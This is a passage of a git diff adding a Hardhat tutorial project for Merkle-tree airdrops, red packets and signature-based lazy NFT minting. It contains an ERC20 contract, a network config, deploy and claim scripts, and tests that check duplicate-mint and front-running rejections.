new file mode 100644
index 000000000..82ae4ca76
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/contracts/redpacket/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+contract SimpleToken is ERC20 {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, initial_supply * (10**uint256(decimals_)));
+    }
+}
diff --git a/basic/42-merkle-distributor-airdrop/hardhat.config.js b/basic/42-merkle-distributor-airdrop/hardhat.config.js
new file mode 100644
index 000000000..9fb947114
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/hardhat.config.js
@@ -0,0 +1,78 @@
+require('@nomiclabs/hardhat-waffle');
+require('@nomiclabs/hardhat-ethers');
+require('hardhat-gas-reporter');
+require("@nomiclabs/hardhat-etherscan");
+require('dotenv').config();
+
+const settings = {
+  optimizer: {
+    enabled: true,
+    runs: 200,
+  },
+};
+
+function mnemonic() {
+  return [process.env.PRIVATE_KEY, process.env.PRIVATE_KEY1, process.env.PRIVATE_KEY2];
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      { version: '0.8.8',  settings },
+      { version: '0.7.6',  settings },
+      { version: '0.6.11', settings },
+      { version: '0.5.16', settings },
+      { version: '0.8.20', settings },
+    ],
+  },
+  etherscan: {
+    apiKey: {
+      optimisticEthereum: 'xxx'
+    },
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: 'https://rinkeby.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    kovan: {
+      url: 'https://kovan.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    mainnet: {
+      url: 'https://mainnet.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    ropsten: {
+      url: 'https://ropsten.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: mnemonic(),
+    },
+    matic: {
+      url: 'https://polygon-mainnet.infura.io/v3/' + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+    optim: {
+      url: "https://optimism-mainnet.infura.io/v3/" + process.env.INFURA_ID,
+      accounts: mnemonic()
+    },
+  },
+  gasReporter: {
+    currency: 'USD',
+    coinmarketcap: process.env.COINMARKETCAP,
+    gasPrice: 200,
+  },
+  mocha: {
+    timeout: 20000
+  },
+};
diff --git a/basic/42-merkle-distributor-airdrop/package.json b/basic/42-merkle-distributor-airdrop/package.json
new file mode 100644
index 000000000..a91586b9f
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/package.json
@@ -0,0 +1,38 @@
+{
+  "name": "workshop-nft-merkle-drop",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "compile": "hardhat compile",
+    "test": "hardhat test"
+  },
+  "author": "OpenZeppelin",
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/OpenZeppelin/workshops.git"
+  },
+  "homepage": "https://github.com/OpenZeppelin/workshops#readme",
+  "bugs": {
+    "url": "https://github.com/OpenZeppelin/workshops/issues"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.1",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.3.0",
+    "ethereumjs-util": "^7.0.4",
+    "ethers": "^5.1.4",
+    "hardhat": "^2.6.8",
+    "hardhat-gas-reporter": "^1.0.4",
+    "keccak256": "^1.0.2",
+    "merkletreejs": "^0.2.13"
+  },
+  "dependencies": {
+    "@nomiclabs/hardhat-etherscan": "^3.1.7",
+    "@openzeppelin/contracts": "^5.0.0",
+    "dotenv": "^16.0.0",
+    "web3": "^1.4.0"
+  }
+}
diff --git a/basic/42-merkle-distributor-airdrop/scripts/1-deploy.js b/basic/42-merkle-distributor-airdrop/scripts/1-deploy.js
new file mode 100644
index 000000000..88b1f1180
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/1-deploy.js
@@ -0,0 +1,26 @@
+const { ethers }  = require('hardhat');
+
+async function deploy(name, ...params) {
+  const contractFactory = await ethers.getContractFactory(name);
+  return await contractFactory.deploy(...params).then(f => f.deployed());
+}
+
+async function main() {
+  const [admin, minter, relayer] = await ethers.getSigners();
+  console.log(`Deploying contracts:`);
+  // console.log(`- admin:   ${admin.address} (${ethers.utils.formatEther(await admin.getBalance())} ${ethers.constants.EtherSymbol})`);
+  // console.log(`- minter:  ${minter.address} (${ethers.utils.formatEther(await minter.getBalance())} ${ethers.constants.EtherSymbol})`);
+  // console.log(`- relayer: ${relayer.address} (${ethers.utils.formatEther(await relayer.getBalance())} ${ethers.constants.EtherSymbol})`);
+
+  const registry = (await deploy('ERC721LazyMintWith712', 'Name', 'Symbol')).connect(admin);
+  await registry.grantRole(await registry.MINTER_ROLE(), minter.address);
+
+  console.log({ registry: registry.address });
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/2-sign.js b/basic/42-merkle-distributor-airdrop/scripts/2-sign.js
new file mode 100644
index 000000000..bdeb0f93f
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/2-sign.js
@@ -0,0 +1,46 @@
+const { ethers }  = require('hardhat');
+
+async function attach(name, address) {
+  const contractFactory = await ethers.getContractFactory(name);
+  return contractFactory.attach(address);
+}
+
+async function main() {
+  const [admin, minter, relayer] = await ethers.getSigners();
+  console.log(`Sign authorization:`);
+  // console.log(`- admin:   ${admin.address} (${ethers.utils.formatEther(await admin.getBalance())} ${ethers.constants.EtherSymbol})`);
+  // console.log(`- minter:  ${minter.address} (${ethers.utils.formatEther(await minter.getBalance())} ${ethers.constants.EtherSymbol})`);
+  // console.log(`- relayer: ${relayer.address} (${ethers.utils.formatEther(await relayer.getBalance())} ${ethers.constants.EtherSymbol})`);
+
+  const registry    = (await attach('ERC721LazyMintWith712', process.env.ADDRESS)).connect(minter);
+  const { chainId } = await ethers.provider.getNetwork();
+  const tokenId     = process.env.TOKENID || 1;
+  const account     = process.env.ACCOUNT || '0xcd3b766ccdd6ae721141f452c550ca635964ce71';
+  const signature   = await minter._signTypedData(
+    // Domain
+    {
+      name: 'Name',
+      version: '1.0.0',
+      chainId,
+      verifyingContract: registry.address,
+    },
+    // Types
+    {
+      NFT: [
+        { name: 'tokenId', type: 'uint256' },
+        { name: 'account', type: 'address' },
+      ],
+    },
+    // Value
+    { tokenId, account },
+  );
+
+  console.log({ registry: registry.address, tokenId, account, signature });
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/3-redeem.js b/basic/42-merkle-distributor-airdrop/scripts/3-redeem.js
new file mode 100644
index 000000000..058eff449
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/3-redeem.js
@@ -0,0 +1,31 @@
+const { ethers }  = require('hardhat');
+
+async function attach(name, address) {
+  const contractFactory = await ethers.getContractFactory(name);
+  return contractFactory.attach(address);
+}
+
+async function main() {
+  const [admin, minter, relayer] = await ethers.getSigners();
+  console.log(`Redeem token:`);
+  // console.log(`- admin:   ${admin.address} (${ethers.utils.formatEther(await admin.getBalance())} ${ethers.constants.EtherSymbol})`);
+  // console.log(`- minter:  ${minter.address} (${ethers.utils.formatEther(await minter.getBalance())} ${ethers.constants.EtherSymbol})`);
+  // console.log(`- relayer: ${relayer.address} (${ethers.utils.formatEther(await relayer.getBalance())} ${ethers.constants.EtherSymbol})`);
+
+  const registry    = (await attach('ERC721LazyMintWith712', process.env.ADDRESS)).connect(relayer);
+  const tokenId     = process.env.TOKENID || 1;
+  const account     = process.env.ACCOUNT || '0xcd3b766ccdd6ae721141f452c550ca635964ce71';
+  const signature   = process.env.SIGNATURE;
+
+  const tx = await registry.redeem(account, tokenId, signature);
+  const receipt = await tx.wait();
+
+  console.log(receipt);
+}
+
+main()
+  .then(() => process.exit(0))
+  .catch(error => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/redpacket/1-deploySimpleToken.js b/basic/42-merkle-distributor-airdrop/scripts/redpacket/1-deploySimpleToken.js
new file mode 100644
index 000000000..0a369c328
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/redpacket/1-deploySimpleToken.js
@@ -0,0 +1,37 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { saveRedpacketDeployment } = require('../../utils');
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  // console.log('Account balance:', (await deployer.getBalance()).toString());
+
+  const Token = await ethers.getContractFactory('SimpleToken');
+  const token = await Token.deploy('DappLearning', 'DL', 18, 1000000);
+  await token.deployed();
+
+  console.log('Token address:', token.address);
+
+  let balance = await token.balanceOf(deployer.address);
+  console.log(`balance of deployer ${balance.toString()}`);
+
+  saveRedpacketDeployment({
+    simpleTokenAddress: token.address,
+  });
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/redpacket/2-deployHappyRedPacket.js b/basic/42-merkle-distributor-airdrop/scripts/redpacket/2-deployHappyRedPacket.js
new file mode 100644
index 000000000..e6134504e
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/redpacket/2-deployHappyRedPacket.js
@@ -0,0 +1,45 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { saveRedpacketDeployment } = require('../../utils');
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  console.log('Account balance:', (await deployer.getBalance()).toString());
+
+  const redPacketFactory = await ethers.getContractFactory('HappyRedPacket');
+  const redPacket = await redPacketFactory.deploy();
+  await redPacket.deployed();
+
+  console.log('RedPacket address:', redPacket.address);
+
+  // Init red packet
+  let initRecipt = await redPacket.initialize({
+    // sometimes it will be fail if not
+    gasLimit: 1483507
+  });
+  await initRecipt.wait();
+
+  // save contract address to file
+  saveRedpacketDeployment({
+    redPacketAddress: redPacket.address,
+    redPacketOwner: deployer.address,
+  })
+
+  console.log('Init HappyRedPacket successfully');
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/redpacket/3-createRedPacket.js b/basic/42-merkle-distributor-airdrop/scripts/redpacket/3-createRedPacket.js
new file mode 100644
index 000000000..4904f373c
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/redpacket/3-createRedPacket.js
@@ -0,0 +1,93 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+require('dotenv').config();
+const { MerkleTree } = require('merkletreejs');
+const keccak256 = require('keccak256');
+const { readRedpacketDeployment, saveRedpacketDeployment } = require('../../utils');
+const claimerList = require('./claimerList.json');
+
+function hashToken(account) {
+  return Buffer.from(ethers.utils.solidityKeccak256(['address'], [account]).slice(2), 'hex');
+}
+
+// sleep function
+let endSleep = false;
+async function sleep() {
+  for (let i = 0; i < 500; i++) {
+    if (endSleep) break;
+    await new Promise((resolve) => {
+      setTimeout(() => {
+        resolve(true);
+      }, 500);
+    });
+  }
+  if (!endSleep) console.log(`\nhad slept too long, but no result...`);
+}
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  const HappyRedPacketAddress = deployment.redPacketAddress;
+  const SimpleTokenAddress = deployment.simpleTokenAddress;
+
+  const redPacket = await ethers.getContractAt('HappyRedPacket', HappyRedPacketAddress, deployer);
+  const simpleToken = await ethers.getContractAt('SimpleToken', SimpleTokenAddress, deployer);
+
+  // let tx = await simpleToken.approve(redPacket.address, ethers.utils.parseEther('100'));
+  // await tx.wait();
+
+  // console.log('Approve Successfully');
+
+  merkleTree = new MerkleTree(
+    claimerList.map((user) => hashToken(user)),
+    keccak256,
+    { sortPairs: true }
+  );
+  merkleTreeRoot = merkleTree.getHexRoot();
+  console.log('merkleTree Root:', merkleTreeRoot);
+
+  // create_red_packet
+  let creationParams = {
+    merkleroot: merkleTreeRoot,
+    number: 93,
+    ifrandom: true,
+    duration: 259200,
+    seed: ethers.utils.formatBytes32String('lajsdklfjaskldfhaikl'),
+    message: 'Hi',
+    name: 'cache',
+    token_type: 1,
+    token_addr: SimpleTokenAddress,
+    // total_tokens: ethers.utils.parseEther('100'),
+    total_tokens: 438000000
+  };
+
+  redPacket.once('CreationSuccess', (total, id, name, message, creator, creation_time, token_address, number, ifrandom, duration) => {
+    endSleep = true;
+    saveRedpacketDeployment({ redPacketID: id, redPacketTotal: total.toString() });
+    console.log(`CreationSuccess Event, total: ${total.toString()}\tRedpacketId: ${id}  `);
+  });
+
+  let createRedPacketRecipt = await redPacket.create_red_packet(...Object.values(creationParams),{
+    // sometimes it will be fail if not specify the gasLimit
+    gasLimit: 1483507
+  });
+  await createRedPacketRecipt.wait();
+
+  console.log('Create Red Packet successfully');
+
+  await sleep();
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/redpacket/4-claimRedpacket.js b/basic/42-merkle-distributor-airdrop/scripts/redpacket/4-claimRedpacket.js
new file mode 100644
index 000000000..4010464c8
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/redpacket/4-claimRedpacket.js
@@ -0,0 +1,59 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+require('dotenv').config();
+const { MerkleTree } = require('merkletreejs');
+const keccak256 = require('keccak256');
+const { readRedpacketDeployment } = require('../../utils');
+const claimerList = require('./claimerList.json');
+
+function hashToken(account) {
+  return Buffer.from(ethers.utils.solidityKeccak256(['address'], [account]).slice(2), 'hex');
+}
+
+async function main() {
+  const [deployer, user1, user2] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  const HappyRedPacketAddress = deployment.redPacketAddress;
+  const redpacketID = deployment.redPacketID;
+  const simpleToken = await ethers.getContractAt('SimpleToken', deployment.simpleTokenAddress, deployer);
+  const redPacket = await ethers.getContractAt('HappyRedPacket', HappyRedPacketAddress, deployer);
+
+  merkleTree = new MerkleTree(
+    claimerList.map((user) => hashToken(user)),
+    keccak256,
+    { sortPairs: true }
+  );
+
+  async function cliamRedPacket(user) {
+    let proof = merkleTree.getHexProof(hashToken(user.address));
+    console.log('merkleTree proof: ', proof);
+
+    const balanceBefore = await simpleToken.balanceOf(user.address);
+
+    let createRedPacketRecipt = await redPacket.connect(user).claim(redpacketID, proof);
+    await createRedPacketRecipt.wait();
+
+    const balanceAfter = await simpleToken.balanceOf(user.address);
+    console.log(`user ${user.address} has claimd ${balanceAfter.sub(balanceBefore)}`);
+  }
+
+  console.log("\n=========Begin to claim Red Packet=========\n")
+  
+  await cliamRedPacket(deployer);
+
+  console.log('\n=========Claim Red Packet successfully=========\n');
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/42-merkle-distributor-airdrop/scripts/redpacket/claimerList.json b/basic/42-merkle-distributor-airdrop/scripts/redpacket/claimerList.json
new file mode 100644
index 000000000..5837fe537
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/scripts/redpacket/claimerList.json
@@ -0,0 +1,4 @@
+[
+    "0x1111",
+    "0x222"
+]
\ No newline at end of file
diff --git a/basic/42-merkle-distributor-airdrop/test/0-ERC721Mint.test.js b/basic/42-merkle-distributor-airdrop/test/0-ERC721Mint.test.js
new file mode 100644
index 000000000..5f80201a6
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/0-ERC721Mint.test.js
@@ -0,0 +1,31 @@
+const { ethers } = require('hardhat');
+const { expect } = require('chai');
+const tokens = require('./tokens.json');
+
+async function deploy(name, ...params) {
+  const Contract = await ethers.getContractFactory(name);
+  return await Contract.deploy(...params).then(f => f.deployed());
+}
+
+
+describe('ERC721Basic', function () {
+  before(async function() {
+    this.accounts = await ethers.getSigners();
+  });
+
+  describe('Mint all elements', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721Basic', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+    });
+
+    for (const [tokenId, account] of Object.entries(tokens)) {
+      it('element', async function () {
+
+        await expect(this.registry.connect(this.accounts[1]).mint(account, tokenId))
+          .to.emit(this.registry, 'Transfer')
+          .withArgs(ethers.constants.AddressZero, account, tokenId);
+      });
+    } 
+  });
+});
diff --git a/basic/42-merkle-distributor-airdrop/test/1-ERC721LazyMint.test.js b/basic/42-merkle-distributor-airdrop/test/1-ERC721LazyMint.test.js
new file mode 100644
index 000000000..73cb20cfe
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/1-ERC721LazyMint.test.js
@@ -0,0 +1,79 @@
+const { ethers } = require('hardhat');
+const { expect } = require('chai');
+const tokens = require('./tokens.json');
+
+async function deploy(name, ...params) {
+  const Contract = await ethers.getContractFactory(name);
+  return await Contract.deploy(...params).then(f => f.deployed());
+}
+
+function hashToken(tokenId, account) {
+  return Buffer.from(ethers.utils.solidityKeccak256(['uint256', 'address'], [tokenId, account]).slice(2), 'hex')
+}
+
+
+describe('ERC721LazyMint', function () {
+  before(async function() {
+    this.accounts = await ethers.getSigners();
+  });
+
+  describe('Mint all elements', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMint', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+    });
+
+    for (const [tokenId, account] of Object.entries(tokens)) {
+      it('element', async function () {
+        /**
+         * Account[1] (minter) creates signature
+         */
+        const signature = await this.accounts[1].signMessage(hashToken(tokenId, account));
+        /**
+         * Account[2] (anyone?) redeems token using signature
+         */
+        await expect(this.registry.connect(this.accounts[2]).redeem(account, tokenId, signature))
+          .to.emit(this.registry, 'Transfer')
+          .withArgs(ethers.constants.AddressZero, account, tokenId);
+      });
+    }
+  });
+
+  describe('Duplicate mint', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMint', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.signature = await this.accounts[1].signMessage(hashToken(this.token.tokenId, this.token.account));
+    });
+
+    it('mint once - success', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+        .to.emit(this.registry, 'Transfer')
+        .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+    });
+
+    it('mint twice - failure', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+        .to.be.revertedWith('ERC721: token already minted');
+    });
+  });
+
+  describe('Frontrun', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMint', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.signature = await this.accounts[1].signMessage(hashToken(this.token.tokenId, this.token.account));
+    });
+
+    it('Change owner - fail', async function () {
+      await expect(this.registry.redeem(this.accounts[0].address, this.token.tokenId, this.token.signature))
+        .to.be.revertedWith('Invalid signature');
+    });
+  });
+});
diff --git a/basic/42-merkle-distributor-airdrop/test/2-ERC721LazyMintWith712.test.js b/basic/42-merkle-distributor-airdrop/test/2-ERC721LazyMintWith712.test.js
new file mode 100644
index 000000000..4523a8255
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/2-ERC721LazyMintWith712.test.js
@@ -0,0 +1,127 @@
+const { ethers } = require('hardhat');
+const { expect } = require('chai');
+const tokens = require('./tokens.json');
+
+async function deploy(name, ...params) {
+  const Contract = await ethers.getContractFactory(name);
+  return await Contract.deploy(...params).then(f => f.deployed());
+}
+
+
+describe('ERC721LazyMintWith712', function () {
+  before(async function() {
+    this.accounts = await ethers.getSigners();
+    ({ chainId: this.chainId } = await ethers.provider.getNetwork());
+  });
+
+  describe('Mint all elements', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMintWith712', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+    });
+
+    for (const [tokenId, account] of Object.entries(tokens)) {
+      it('element', async function () {
+        /**
+         * Account[1] (minter) creates signature
+         */
+        const signature = await this.accounts[1]._signTypedData(
+          // Domain
+          {
+            name: 'Name',
+            version: '1.0.0',
+            chainId: this.chainId,
+            verifyingContract: this.registry.address,
+          },
+          // Types
+          {
+            NFT: [
+              { name: 'tokenId', type: 'uint256' },
+              { name: 'account', type: 'address' },
+            ],
+          },
+          // Value
+          { tokenId, account },
+        );
+        /**
+         * Account[2] (anyone?) redeems token using signature
+         */
+        await expect(this.registry.connect(this.accounts[2]).redeem(account, tokenId, signature))
+          .to.emit(this.registry, 'Transfer')
+          .withArgs(ethers.constants.AddressZero, account, tokenId);
+      });
+    }
+  });
+
+  describe('Duplicate mint', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMintWith712', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.signature = await this.accounts[1]._signTypedData(
+        // Domain
+        {
+          name: 'Name',
+          version: '1.0.0',
+          chainId: this.chainId,
+          verifyingContract: this.registry.address,
+        },
+        // Types
+        {
+          NFT: [
+            { name: 'tokenId', type: 'uint256' },
+            { name: 'account', type: 'address' },
+          ],
+        },
+        // Value
+        this.token,
+      );
+    });
+
+    it('mint once - success', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+        .to.emit(this.registry, 'Transfer')
+        .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+    });
+
+    it('mint twice - failure', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.token.signature))
+        .to.be.revertedWith('ERC721: token already minted');
+    });
+  });
+
+  describe('Frontrun', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMintWith712', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.accounts[1].address);
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.signature = await this.accounts[1]._signTypedData(
+        // Domain
+        {
+          name: 'Name',
+          version: '1.0.0',
+          chainId: this.chainId,
+          verifyingContract: this.registry.address,
+        },
+        // Types
+        {
+          NFT: [
+            { name: 'tokenId', type: 'uint256' },
+            { name: 'account', type: 'address' },
+          ],
+        },
+        // Value
+        this.token,
+      );
+    });
+
+    it('Change owner - fail', async function () {
+      await expect(this.registry.redeem(this.accounts[0].address, this.token.tokenId, this.token.signature))
+        .to.be.revertedWith('Invalid signature');
+    });
+  });
+});
diff --git a/basic/42-merkle-distributor-airdrop/test/3-ERC721LazyMintWith712Signature.test.js b/basic/42-merkle-distributor-airdrop/test/3-ERC721LazyMintWith712Signature.test.js
new file mode 100644
index 000000000..c0e939c6e
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/3-ERC721LazyMintWith712Signature.test.js
@@ -0,0 +1,130 @@
+const { ethers } = require('hardhat');
+const { expect } = require('chai');
+const tokens = require('./tokens.json');
+
+async function deploy(name, ...params) {
+  const Contract = await ethers.getContractFactory(name);
+  return await Contract.deploy(...params).then(f => f.deployed());
+}
+
+
+describe('ERC721LazyMintWith712SignatureChecker', function () {
+  before(async function() {
+    this.accounts = await ethers.getSigners();
+    this.smartwallet = await deploy('SmartWallet', this.accounts[1].address);
+    ({ chainId: this.chainId } = await ethers.provider.getNetwork());
+
+    expect(await this.smartwallet.owner()).to.be.equal(this.accounts[1].address);
+  });
+
+  describe('Mint all elements', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMintWith712SignatureChecker', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.smartwallet.address);
+    });
+
+    for (const [tokenId, account] of Object.entries(tokens)) {
+      it('element', async function () {
+        /**
+         * Account[1] (minter) creates signature
+         */
+        const signature = await this.accounts[1]._signTypedData(
+          // Domain
+          {
+            name: 'Name',
+            version: '1.0.0',
+            chainId: this.chainId,
+            verifyingContract: this.registry.address,
+          },
+          // Types
+          {
+            NFT: [
+              { name: 'tokenId', type: 'uint256' },
+              { name: 'account', type: 'address' },
+            ],
+          },
+          // Value
+          { tokenId, account },
+        );
+        /**
+         * Account[2] (anyone?) redeems token using signature
+         */
+        await expect(this.registry.connect(this.accounts[2]).redeem(account, tokenId, this.smartwallet.address, signature))
+          .to.emit(this.registry, 'Transfer')
+          .withArgs(ethers.constants.AddressZero, account, tokenId);
+      });
+    }
+  });
+
+  describe('Duplicate mint', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMintWith712SignatureChecker', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.smartwallet.address);
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.signature = await this.accounts[1]._signTypedData(
+        // Domain
+        {
+          name: 'Name',
+          version: '1.0.0',
+          chainId: this.chainId,
+          verifyingContract: this.registry.address,
+        },
+        // Types
+        {
+          NFT: [
+            { name: 'tokenId', type: 'uint256' },
+            { name: 'account', type: 'address' },
+          ],
+        },
+        // Value
+        this.token,
+      );
+    });
+
+    it('mint once - success', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.smartwallet.address, this.token.signature))
+        .to.emit(this.registry, 'Transfer')
+        .withArgs(ethers.constants.AddressZero, this.token.account, this.token.tokenId);
+    });
+
+    it('mint twice - failure', async function () {
+      await expect(this.registry.redeem(this.token.account, this.token.tokenId, this.smartwallet.address, this.token.signature))
+        .to.be.revertedWith('ERC721: token already minted');
+    });
+  });
+
+  describe('Frontrun', function () {
+    before(async function() {
+      this.registry = await deploy('ERC721LazyMintWith712SignatureChecker', 'Name', 'Symbol');
+      await this.registry.grantRole(await this.registry.MINTER_ROLE(), this.smartwallet.address);
+
+      this.token = {};
+      [ this.token.tokenId, this.token.account ] = Object.entries(tokens).find(Boolean);
+      this.token.signature = await this.accounts[1]._signTypedData(
+        // Domain
+        {
+          name: 'Name',
+          version: '1.0.0',
+          chainId: this.chainId,
+          verifyingContract: this.registry.address,
+        },
+        // Types
+        {
+          NFT: [
+            { name: 'tokenId', type: 'uint256' },
+            { name: 'account', type: 'address' },
+          ],
+        },
+        // Value
+        this.token,
+      );
+    });
+
+    it('Change owner - fail', async function () {
+      await expect(this.registry.redeem(this.accounts[0].address, this.token.tokenId, this.smartwallet.address, this.token.signature))
+        .to.be.revertedWith('Invalid signature');
+    });
+  });
+});
diff --git a/basic/42-merkle-distributor-airdrop/test/4-ERC721MerkleDrop.test.js b/basic/42-merkle-distributor-airdrop/test/4-ERC721MerkleDrop.test.js
new file mode 100644
index 000000000..1c576f23b
--- /dev/null
+++ b/basic/42-merkle-distributor-airdrop/test/4-ERC721MerkleDrop.test.js
@@ -0,0 +1,79 @@
+const { ethers } = require('hardhat');
+const { MerkleTree } = require('merkletreejs');
+const keccak256 = require('keccak256');
+const { expect } = require('chai');
+const tokens = require('./tokens.json');
+
+async function deploy(name, ...params) {
+  const Contract = await ethers.getContractFactory(name);
+  return await Contract.deploy(...params).then(f => f.deployed());
+}
+
